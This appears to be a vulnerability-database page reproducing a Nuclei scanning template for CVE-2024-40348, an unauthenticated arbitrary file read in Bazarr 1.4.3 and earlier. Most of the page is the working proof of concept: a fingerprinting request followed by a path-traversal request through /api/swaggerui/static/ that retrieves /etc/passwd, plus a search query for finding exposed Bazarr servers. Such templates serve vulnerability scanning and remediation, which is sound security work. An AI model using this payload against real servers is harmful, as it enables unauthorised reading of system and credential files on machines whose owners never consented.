CVE-2024-40348: Bazarr < 1.4.3 - Arbitrary File Read

2025-08-01 Bazarr PoC Public

Description

Bazarr 1.4.3 and earlier versions have a arbitrary file read vulnerability.

PoC

id: CVE-2024-40348

info:
  name: Bazarr < 1.4.3 - Arbitrary File Read
  author: s4e-io
  severity: high
  description: |
    Bazarr 1.4.3 and earlier versions have a arbitrary file read vulnerability.
  impact: |
    Unauthenticated attackers can read arbitrary files from the Bazarr server via path traversal.
  remediation: |
    Update Bazarr to version 1.4.4 or later.
  reference:
    - https://github.com/4rdr/proofs/blob/main/info/Bazaar_1.4.3_File_Traversal_via_Filename.md
    - https://www.bazarr.media/
    - https://github.com/bigb0x/CVE-2024-40348
  classification:
    cve-id: CVE-2024-40348
    cwe-id: CWE-22
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:L
    cvss-score: 8.2
    epss-score: 0.08223
    epss-percentile: 0.94596
    cpe: cpe:2.3:a:bazarr:bazarr:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: morpheus65535
    product: bazarr
    fofa-query: title=="Bazarr" && icon_hash="-1983413099"
  tags: cve,cve2024,bazarr,lfi,vuln

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}/login"

    matchers:
      - type: word
        part: body
        words:
          - "<title>Bazarr</title>"
          - 'content="Bazarr'
          - "window.Bazarr"
        condition: or
        internal: true

  - method: GET
    path:
      - "{{BaseURL}}/api/swaggerui/static/../../../../../../../../../../../../../../../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: word
        part: header
        words:
          - "application/octet-stream"

      - type: status
        status:
          - 200
# digest: 4a0a0047304502203d1636dd9998dc0417abb57d9c82bc503fafe2d9df3d869a2f4231c21987e6df0221008f2cbf85251a3b88c57e74f4bef5124d9920059641296ee638a88cad66c5a1b5:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities